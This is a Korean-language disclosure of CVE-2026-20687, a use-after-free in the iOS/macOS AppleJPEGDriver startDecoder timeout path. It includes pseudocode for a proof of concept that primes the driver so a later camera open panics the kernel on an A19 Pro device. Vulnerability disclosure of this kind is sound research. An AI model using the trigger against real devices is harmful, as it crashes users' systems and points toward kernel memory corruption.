
CVE-2026-20687: AppleJPEGDriver startDecoder 타임아웃 UAF — iOS/macOS 커널 취약점으로 지연 패닉 유발 (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | 작성자: Johnny Franks (@zeroxjf)
구성 요소: 커널
영향: 앱이 예기치 않은 시스템 종료를 유발하거나 커널 메모리에 쓰기를 수행할 수 있음
설명: 향상된 메모리 관리를 통해 use after free 문제가 해결되었습니다.
이것은 기기의 커널 패닉을 유발합니다. 작업을 저장하세요.
iPhone18,2(iPhone 17 Pro Max, A19 Pro)의 iOS 26.3(23D125)에서 테스트되었습니다.
직접 트리거:
// PoC: 드라이버 프라이밍; 패닉은 일반적으로 카메라가 열릴 때까지 지연됩니다.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// 이후 카메라를 열면 다음이 트리거됩니다:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // 버그: (req + 0x78)을 디큐하지 않음
// 더 나중에 (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // 스테일: node_ptr == (해제된 req + 0x78)
req2 = *(node_ptr + 0x8); // req+0x80의 UAF 읽기 -> MTE 태그 오류 -> 패닉
ios-app/Test.xcodeproj를 엽니다